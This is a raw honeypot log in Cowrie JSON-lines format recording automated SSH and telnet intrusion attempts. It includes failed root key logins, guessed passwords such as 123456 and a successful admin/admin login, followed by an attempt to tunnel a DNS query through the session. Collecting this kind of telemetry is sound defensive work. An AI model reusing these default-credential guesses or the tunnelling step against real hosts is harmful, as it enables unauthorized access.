{"eventid":"cowrie.login.failed","username":"root","fingerprint":"42:f5:7a:9c:26:df:f0:5f:9e:2b:0c:8a:e8:53:31:ba","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKdKxV9Giwqua6L2hwgwrnmStkSIYFZqSiyihghbu7CmYwJ9hOInA8Fv3+O3xA0lORJeng0bnCb5VNvmueG42vuhfqUynu+PArNgI0TmrYvZEONJiyea3klfErc2PhrHNmToshNWRmjWDEW9GqnC2O4L2RWVM2ecwMvXz7WHveZro2ujM8ADpAsGu2J7oS+8tPisMo0y+B2g/PXsDHBtITD8cU69VwFLY1XAfJ7LPiZgkEOizRqi6UxMIffIwCGR1RdCQ7QLpHtdFJpBLZSGDoYi5JbQJbOFWjNxdMvP2Bh3wDuXEIt5gPdqG+Lujjxe4tKH9QIR4BLn79hlBgOZAT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:55:35.495663Z","src_ip":"107.6.164.204","session":"ec8ac2f4bfea","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9c:57:d2:f1:64:33:aa:90:4f:7c:60:50:89:bf:dd:27","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2tqjCtSEsW/KAIxPCHxFhdAo36w81ezVLUSKvlEWJHEZDlqu6Km8n278ntnEHnMaSJ/ba4/URc4TafO5lee47WLCRqh267itjF8AgtaWEufdoMVqAT+smhNY8sjZDsGmCrmv8XWV6ttyHuxajJZHXIsKxXn4Hc977GJ+xaOlpnwes3Hd/OYB+LC88g8PYQObAfJDEVe9uWPDAsH9+PjXiBz1AU8UCqOTMEbHsID+PBVElNApxVrE4OuidF4vkPdYSG86RAvR4GTlJI019Wl3izbqQEcxUy3n5VZp5k1LZY8JOg+Ubht6e62qjTLdOV5CJSi6TbUDYUrkwqnb9yyqN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9c:57:d2:f1:64:33:aa:90:4f:7c:60:50:89:bf:dd:27","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:55:35.584224Z","src_ip":"107.6.164.204","session":"ec8ac2f4bfea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9c:57:d2:f1:64:33:aa:90:4f:7c:60:50:89:bf:dd:27","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2tqjCtSEsW/KAIxPCHxFhdAo36w81ezVLUSKvlEWJHEZDlqu6Km8n278ntnEHnMaSJ/ba4/URc4TafO5lee47WLCRqh267itjF8AgtaWEufdoMVqAT+smhNY8sjZDsGmCrmv8XWV6ttyHuxajJZHXIsKxXn4Hc977GJ+xaOlpnwes3Hd/OYB+LC88g8PYQObAfJDEVe9uWPDAsH9+PjXiBz1AU8UCqOTMEbHsID+PBVElNApxVrE4OuidF4vkPdYSG86RAvR4GTlJI019Wl3izbqQEcxUy3n5VZp5k1LZY8JOg+Ubht6e62qjTLdOV5CJSi6TbUDYUrkwqnb9yyqN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:55:35.588393Z","src_ip":"107.6.164.204","session":"ec8ac2f4bfea","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9c:35:02:e1:95:26:1b:ce:f2:a6:92:e0:f8:8a:52:be","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDWuEAJ69Dd9F4s7U5Zm+2hrM5KQ9NIOiRddoFxvpA6Fp9p2J16hd5iNDAjKVYiQd4oJx0mb9HKq5CoOqIsxIZkD7SZ5pZHyOKW5Rto3Du/JIq/IkmSZOKlIqfw9FLQBrRU0edLfqxNIGSND9Ncd4dWMgc6Hf22V27t6DMC6r8BY7L3QzwVw4AlDc5uebMPF2PJu5kvkG2bnfZEUnkVq1eCjQQ0tqGBKdUxB9D/+Ecos+PeP2bMznED/hdXTR21eB9rro1k2qN1v1mzhwYhF4YGYF6Q/eYiF0gQX/9lctdg1EShiQya5lm6jGqaDV8TFuv705JRgQ7EsXrrp0eqINxM6XD+qNzrvisME6VWS15dG5AaL3rgMN5tX+EcxOaR/E57spSss5pT98O/nfK3q0ZBFd+5RxaJedWqBuqgdyzq3RHZrYLUD7gSwywldaTsmiHZucIT+dThWnhsrtbZtwC4txKa5dcSbSp78ZflmW8YBwnhP6MRkvRHBVD2GQVC5ms=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9c:35:02:e1:95:26:1b:ce:f2:a6:92:e0:f8:8a:52:be","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:55:35.678415Z","src_ip":"107.6.164.204","session":"ec8ac2f4bfea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9c:35:02:e1:95:26:1b:ce:f2:a6:92:e0:f8:8a:52:be","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDWuEAJ69Dd9F4s7U5Zm+2hrM5KQ9NIOiRddoFxvpA6Fp9p2J16hd5iNDAjKVYiQd4oJx0mb9HKq5CoOqIsxIZkD7SZ5pZHyOKW5Rto3Du/JIq/IkmSZOKlIqfw9FLQBrRU0edLfqxNIGSND9Ncd4dWMgc6Hf22V27t6DMC6r8BY7L3QzwVw4AlDc5uebMPF2PJu5kvkG2bnfZEUnkVq1eCjQQ0tqGBKdUxB9D/+Ecos+PeP2bMznED/hdXTR21eB9rro1k2qN1v1mzhwYhF4YGYF6Q/eYiF0gQX/9lctdg1EShiQya5lm6jGqaDV8TFuv705JRgQ7EsXrrp0eqINxM6XD+qNzrvisME6VWS15dG5AaL3rgMN5tX+EcxOaR/E57spSss5pT98O/nfK3q0ZBFd+5RxaJedWqBuqgdyzq3RHZrYLUD7gSwywldaTsmiHZucIT+dThWnhsrtbZtwC4txKa5dcSbSp78ZflmW8YBwnhP6MRkvRHBVD2GQVC5ms=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:55:35.682702Z","src_ip":"107.6.164.204","session":"ec8ac2f4bfea","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"18:f3:9e:44:f3:2a:a4:eb:db:86:5e:d3:ef:3e:c5:a9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCcVxotQmDddQgzRMnqmSubd5tYa2Djg2ohQ1npzxZkzvoBLVvR3LlVzVcdgkBO4hYpMxh8IyOguU+lNcUBuo0pvvgmG5nbgUCjg0RdkllUgZO0Has6dXJfnBMGUUAGdGYxYBhBS17gKg50+yMOTNIYbKbchVFlmRc7c1DPRoWm/Ww+ibzh9X0+UuW8AofojVtie4JdkQwka0tqY69IWWLU2ho+ravZQ6oPA0GaxeZ4XzDS2IXNjIzRvqpmcAwDUz8D3nEdbmUlnw+BDRYsXHmNVGTc1QtCEbR4fE8dL2vaAEPP6KwhYL1YVBpWoAB7x4xPtsjVUKoS63k2pXUooBm3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 18:f3:9e:44:f3:2a:a4:eb:db:86:5e:d3:ef:3e:c5:a9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:55:35.771874Z","src_ip":"107.6.164.204","session":"ec8ac2f4bfea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"18:f3:9e:44:f3:2a:a4:eb:db:86:5e:d3:ef:3e:c5:a9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCcVxotQmDddQgzRMnqmSubd5tYa2Djg2ohQ1npzxZkzvoBLVvR3LlVzVcdgkBO4hYpMxh8IyOguU+lNcUBuo0pvvgmG5nbgUCjg0RdkllUgZO0Has6dXJfnBMGUUAGdGYxYBhBS17gKg50+yMOTNIYbKbchVFlmRc7c1DPRoWm/Ww+ibzh9X0+UuW8AofojVtie4JdkQwka0tqY69IWWLU2ho+ravZQ6oPA0GaxeZ4XzDS2IXNjIzRvqpmcAwDUz8D3nEdbmUlnw+BDRYsXHmNVGTc1QtCEbR4fE8dL2vaAEPP6KwhYL1YVBpWoAB7x4xPtsjVUKoS63k2pXUooBm3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:55:35.775033Z","src_ip":"107.6.164.204","session":"ec8ac2f4bfea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:55:35.865630Z","src_ip":"107.6.164.204","session":"ec8ac2f4bfea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.817094802856445,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:55:40.788327Z","src_ip":"152.42.224.71","session":"0f41776915b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36988,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9a012b6e79e","protocol":"telnet","message":"New connection: 152.42.224.71:36988 (10.17.0.5:23) [session: d9a012b6e79e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:55:42.989905Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49054,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd9d72795e67","protocol":"telnet","message":"New connection: 152.42.224.71:49054 (10.17.0.5:23) [session: cd9d72795e67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:55:49.137973Z"}
{"eventid":"cowrie.session.closed","duration":40.558040618896484,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:55:53.087131Z","src_ip":"152.42.224.71","session":"d951c392ded1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.52652716636658,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:55:53.210406Z","src_ip":"152.42.224.71","session":"22329938eb5c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41936,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2453a22c4ad","protocol":"telnet","message":"New connection: 152.42.224.71:41936 (10.17.0.5:23) [session: a2453a22c4ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:55:58.337637Z"}
{"eventid":"cowrie.session.closed","duration":51.0768678188324,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:55:59.099964Z","src_ip":"152.42.224.71","session":"8db172c98d1f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41944,"dst_ip":"10.17.0.5","dst_port":23,"session":"bcbf05f39faa","protocol":"telnet","message":"New connection: 152.42.224.71:41944 (10.17.0.5:23) [session: bcbf05f39faa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:56:03.801646Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51170,"dst_ip":"10.17.0.5","dst_port":23,"session":"7442238e6fdb","protocol":"telnet","message":"New connection: 152.42.224.71:51170 (10.17.0.5:23) [session: 7442238e6fdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:56:10.383892Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.117.179.232","src_port":60106,"dst_ip":"10.17.0.5","dst_port":22,"session":"a1c6e6e351e0","protocol":"ssh","message":"New connection: 45.117.179.232:60106 (10.17.0.5:22) [session: a1c6e6e351e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:56:12.215623Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:56:12.221058Z","src_ip":"45.117.179.232","session":"a1c6e6e351e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:56:12.472071Z","src_ip":"45.117.179.232","session":"a1c6e6e351e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"boom","password":"123456","message":"login attempt [boom/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:56:13.474180Z","src_ip":"45.117.179.232","session":"a1c6e6e351e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:56:14.720758Z","src_ip":"45.117.179.232","session":"a1c6e6e351e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":53414,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b636b8b6d57","protocol":"ssh","message":"New connection: 193.37.70.224:53414 (10.17.0.5:22) [session: 6b636b8b6d57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:56:26.543378Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:56:26.548523Z","src_ip":"193.37.70.224","session":"6b636b8b6d57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:56:26.640173Z","src_ip":"193.37.70.224","session":"6b636b8b6d57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0000001","message":"login attempt [root/0000001] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:56:26.915949Z","src_ip":"193.37.70.224","session":"6b636b8b6d57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:56:28.010419Z","src_ip":"193.37.70.224","session":"6b636b8b6d57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.59500527381897,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:56:29.584799Z","src_ip":"152.42.224.71","session":"d9a012b6e79e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.874197006225586,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:56:36.211707Z","src_ip":"152.42.224.71","session":"a2453a22c4ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40092,"dst_ip":"10.17.0.5","dst_port":23,"session":"39863fe44203","protocol":"telnet","message":"New connection: 152.42.224.71:40092 (10.17.0.5:23) [session: 39863fe44203]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:56:39.093153Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":53358,"dst_ip":"10.17.0.5","dst_port":22,"session":"73228f786c93","protocol":"ssh","message":"New connection: 87.251.64.176:53358 (10.17.0.5:22) [session: 73228f786c93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:56:42.391354Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:56:42.396751Z","src_ip":"87.251.64.176","session":"73228f786c93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:56:42.493346Z","src_ip":"87.251.64.176","session":"73228f786c93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.24970459938049,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:56:42.633505Z","src_ip":"152.42.224.71","session":"7442238e6fdb","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:56:42.782498Z","src_ip":"87.251.64.176","session":"73228f786c93","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:56:42.880491Z","session":"73228f786c93","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:56:42.978605Z","src_ip":"87.251.64.176","session":"73228f786c93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:56:43.076838Z","src_ip":"87.251.64.176","session":"73228f786c93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40106,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7903e1bec8a","protocol":"telnet","message":"New connection: 152.42.224.71:40106 (10.17.0.5:23) [session: c7903e1bec8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:56:44.096910Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":32852,"dst_ip":"10.17.0.5","dst_port":23,"session":"cac0921d036f","protocol":"telnet","message":"New connection: 152.42.224.71:32852 (10.17.0.5:23) [session: cac0921d036f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:56:46.134480Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":35822,"dst_ip":"159.203.135.109","dst_port":22,"session":"6870dd9e2c59","protocol":"ssh","message":"New connection: 147.45.197.250:35822 (159.203.135.109:22) [session: 6870dd9e2c59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:56:49.399007Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:56:49.403517Z","src_ip":"147.45.197.250","session":"6870dd9e2c59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:56:49.493444Z","src_ip":"147.45.197.250","session":"6870dd9e2c59","protocol":"ssh"}
